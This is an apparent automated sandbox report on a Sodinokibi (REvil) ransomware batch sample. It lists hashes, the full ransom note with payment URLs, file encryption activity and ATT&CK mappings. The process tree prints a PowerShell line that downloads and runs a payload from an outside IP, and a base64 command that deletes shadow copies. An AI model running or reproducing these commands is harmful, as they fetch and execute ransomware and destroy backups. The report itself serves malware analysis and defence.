sodinokibi | 083231c01b3b9c859b9683303c6bc946c15210cda94df73f79350c94366fd859

General

Target

yv3bZq0C.bat
Size

192B
MD5

986293d617a3f38c055066d8971343fc
SHA1

04a3044011926264954034bfeb463e7d9334018b
SHA256

083231c01b3b9c859b9683303c6bc946c15210cda94df73f79350c94366fd859
SHA512

befebd114ce90e8db3d026c2775cf8be09a714b6c2548d3728e7e89a3d01f3a385a3516740e103e380e3c8fb95552fc20103d3745520464e6976c23d777dfc34

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/yv3bZq0C

Extracted

Path

C:\w96xs84y4-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension w96xs84y4. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E4417BDFD428A681 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/E4417BDFD428A681 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: u0A4fGFpZTRc0csJl9kUXXJ4nx9U9zUS9mOl6UprnEgmNR/CjB3p0+mJgPDfr5Fj luImMRcgYg5QTNGzypIKg1LnZb530KuMEImTqJ05eMOvsJNdDb5mw50/8mg2FwzG owDgvTw7b3JNBfzxgQjSXckKb09aIs0ws+Fd8w1LCbakt9KQuQ1olCUtf1jgFNof jtDDUDPiQiyTyE36WnRFuUUIjz496cf/lHetUuS4DPZWjUOJPgPp0jnHFBM64Mxk QV5Qq2I2dgEncS72Se4WI0srIBQCfBU9+8lJ9kAsNHpFG6XKO9jFTJdKiHm/8uWe 5nkCmQ0GYDRPGHmHr44xd7TWYrW7sMREujM6e592biZsETqztIxBr8tzHy7/YjjA nkjSsDJR/vCmmmA8wUN9d/A00u7Xx2p0IqxknP4AzwfukDJLwQutkUWuQX3hJhAk qjwMq7sSbRw/DJ7pG1pe1VJuHjqbKt9nqQFdR8q8fc/bKHqzf3eV+CgJi9LpYcRx c+D46DSX+zRjubR0BGkTmLxmgR1ZHAXVZuEE4wzzfGXMhqxOOb7gQrZTgcQkjYB8 Drtsb96Fb1du28JWQNoV7NATOG6ty67HDXsnWtgcbHWBCCe1esttjf/IeeGsecEo DDXXGweTjeXQXpqvhUF1WKgofCTcIgxG/+8XxrvDhJSh+1FlZGSMHVg5UznWFKgy Y4FaVnMhcgJ/+TZINBJ9UUQftC1ksclrFpXtPrpLcPR/3BZWFa74WLn1WpSZRJ2v XcGLnko8CBcJyOsUu3q5wA1UealHfvVUyuTU5O9kJcQFGGSj2X6AQ3u2UvS8XLNc EtIOl9ivre8L/rwG8tmK8IcR0+jsnPzYpOGE3m8lglH+YOkx5AUvixJ5xF5L/JI9 R9dhc/3T0LfRzQQQnTg4uXYEam1NyegHcDuvLDPnXSuUwIpQBmIKq7pFtMebmU6K S+PpO2R/pHO8kFT2vzLWrOB8dt3yZkzCPhXYZBnkpOxm9QaviwsDOxjULhAmQ4Ly orLbbMZXnK09OyTB1DsgFtzBU1m9OH9dhuaZeAuVdygFyGnrl+76/2qZJy/LpUdh niaO9ATuS6brcKKijXrGftdrHAkpQvwXvOpQBcvT21RYswyeoMMNXBnU0bB51DQY qpmpxF75H7UaisqQbb8CBJv6dS6uwicz0ryRUdF7GIhBRxEdnntLWkcn8X0lQVNT 8qPjsraARQ6hwMRc1rVusiIcK0S+OJOMgXYqas7Hzq+eiERTOwElOd+jS+iUqDTU dnP9rNpOEEkbVAhaj3gign1qF2oVJ3O9JBJqSl8bs/xjPT8bC/s= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E4417BDFD428A681

http://decryptor.cc/E4417BDFD428A681

Signatures

Discovering connected drives 3 TTPs 7 IoCs

ransomware

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.execmd.exepowershell.exe

description	ioc	process
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\C:	cmd.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\C:	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Drops file in Program Files directory 33 IoCs

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Program Files\EditRepair.mpv2 => \??\c:\program files\EditRepair.mpv2.w96xs84y4	powershell.exe
File opened for modification	\??\c:\program files\GrantOpen.inf	powershell.exe
File renamed	C:\Program Files\ExpandProtect.ods => \??\c:\program files\ExpandProtect.ods.w96xs84y4	powershell.exe
File renamed	C:\Program Files\GrantOpen.inf => \??\c:\program files\GrantOpen.inf.w96xs84y4	powershell.exe
File renamed	C:\Program Files\RestartSave.xltm => \??\c:\program files\RestartSave.xltm.w96xs84y4	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\w96xs84y4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DisableCopy.M2T	powershell.exe
File opened for modification	\??\c:\program files\ExpandProtect.ods	powershell.exe
File opened for modification	\??\c:\program files\LockBackup.au	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\w96xs84y4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SuspendGrant.m4a	powershell.exe
File renamed	C:\Program Files\RestartUninstall.midi => \??\c:\program files\RestartUninstall.midi.w96xs84y4	powershell.exe
File created	\??\c:\program files (x86)\w96xs84y4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SplitRestart.bmp	powershell.exe
File opened for modification	\??\c:\program files\UnpublishConvertTo.rmi	powershell.exe
File renamed	C:\Program Files\SkipApprove.xhtml => \??\c:\program files\SkipApprove.xhtml.w96xs84y4	powershell.exe
File renamed	C:\Program Files\UnpublishSync.aifc => \??\c:\program files\UnpublishSync.aifc.w96xs84y4	powershell.exe
File opened for modification	\??\c:\program files\ConvertToFormat.ini	powershell.exe
File opened for modification	\??\c:\program files\EditRepair.mpv2	powershell.exe
File opened for modification	\??\c:\program files\MoveWait.tif	powershell.exe
File renamed	C:\Program Files\SuspendGrant.m4a => \??\c:\program files\SuspendGrant.m4a.w96xs84y4	powershell.exe
File renamed	C:\Program Files\SplitRestart.bmp => \??\c:\program files\SplitRestart.bmp.w96xs84y4	powershell.exe
File created	\??\c:\program files\w96xs84y4-readme.txt	powershell.exe
File renamed	C:\Program Files\ConvertToFormat.ini => \??\c:\program files\ConvertToFormat.ini.w96xs84y4	powershell.exe
File renamed	C:\Program Files\LockBackup.au => \??\c:\program files\LockBackup.au.w96xs84y4	powershell.exe
File opened for modification	\??\c:\program files\RestartSave.xltm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\w96xs84y4-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SkipApprove.xhtml	powershell.exe
File renamed	C:\Program Files\MoveWait.tif => \??\c:\program files\MoveWait.tif.w96xs84y4	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSync.aifc	powershell.exe
File renamed	C:\Program Files\DisableCopy.M2T => \??\c:\program files\DisableCopy.M2T.w96xs84y4	powershell.exe
File opened for modification	\??\c:\program files\RestartUninstall.midi	powershell.exe
File renamed	C:\Program Files\UnpublishConvertTo.rmi => \??\c:\program files\UnpublishConvertTo.rmi.w96xs84y4	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9861h714gsw71.bmp"	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1884 powershell.exe

pid	process
1884	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1860 wrote to memory of 1884	1860	cmd.exe	powershell.exe
PID 1884 wrote to memory of 1976	1884	powershell.exe	powershell.exe
PID 1884 wrote to memory of 1976	1884	powershell.exe	powershell.exe
PID 1884 wrote to memory of 1976	1884	powershell.exe	powershell.exe
PID 1884 wrote to memory of 1976	1884	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeBackupPrivilege	1392	vssvc.exe
Token: SeRestorePrivilege	1392	vssvc.exe
Token: SeAuditPrivilege	1392	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1884 powershell.exe
1884 powershell.exe
1884 powershell.exe
1976 powershell.exe
1976 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1884 powershell.exe

pid	process
1884	powershell.exe
1884	powershell.exe
1884	powershell.exe
1976	powershell.exe
1976	powershell.exe

flow	pid	process
3	1884	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\yv3bZq0C.bat"
1⤵
- Discovering connected drives
- Suspicious use of WriteProcessMemory
PID:1860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/yv3bZq0C');Invoke-IAADNEEFN;Start-Sleep -s 10000"
2⤵
- Discovering connected drives
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:1884

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Discovering connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1976

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1392

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_266260b1-506b-46ee-8ffd-f74ade426d58

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47931ed0-1f3a-4727-b467-1abba254408f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_787e939b-6ce7-4022-b0df-f2cadaf1211f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b368953-2fc5-4e6c-ac0c-4e9ca5ec1dea

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9adcef47-d90e-41e7-bb27-93604e256a20

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f66dfe3c-3c50-4c57-9265-ac0c7644a88d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads